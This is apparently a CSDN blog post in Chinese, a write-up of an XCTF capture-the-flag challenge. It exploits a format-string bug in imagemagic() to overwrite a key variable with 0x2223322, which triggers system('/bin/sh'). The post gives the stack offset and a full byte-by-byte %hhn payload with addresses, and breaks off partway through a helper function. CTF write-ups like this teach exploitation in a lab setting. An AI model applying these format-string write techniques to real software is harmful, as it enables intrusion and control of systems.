实时数据监测(xctf)

本文详细介绍了XCTF中程序保护和流程,重点在于如何利用程序的流程来触发关键行为。通过分析,我们发现当key值为0x2223322时,会调用`system("/bin/sh")`。同时,`imagemagic()`函数存在格式化字符串漏洞。为了安全地修改key值,避免输入缓冲区溢出,采取了逐字节写入的策略,构建了特定的payload来实现目标。此外,还提供了exploit的相关思路。
摘要由CSDN通过智能技术生成

0x0 程序保护和流程

保护:

在这里插入图片描述

流程:

main()

在这里插入图片描述

locker()

在这里插入图片描述

imagemagic()

在这里插入图片描述

当key=35795746=0x2223322时调用system("/bin/sh"),在imagemagic()中又存在格式化字符串漏洞。所以只需要更改key的值即可。

在这里插入图片描述

0x1 利用过程

先确定偏移量。

在这里插入图片描述

偏移量为12。但是我们要向key的地址写入35795746=0x2223322,如果一次性写入35795746个字符的话输入缓冲区可能会溢出导致程序无法运行。所以我们选择单字符写入所以payload=p32(0x0804A048)+p32(0x0804A049)+p32(0x0804A04A)+p32(0x0804A04B)+"%18c%12$hhn%17c%13$hhn%239c%14$hhn%224c%15$hhn" (数据在内存中是小端序%hhn会写入单字节)

\x22=34  		\x33=51  		\x22=34           \x02=2
18+16=34=0x22   34+17=51=0x33   51+239=290=0x122  290+224=514=0x202

也可以使用模板

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result 
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值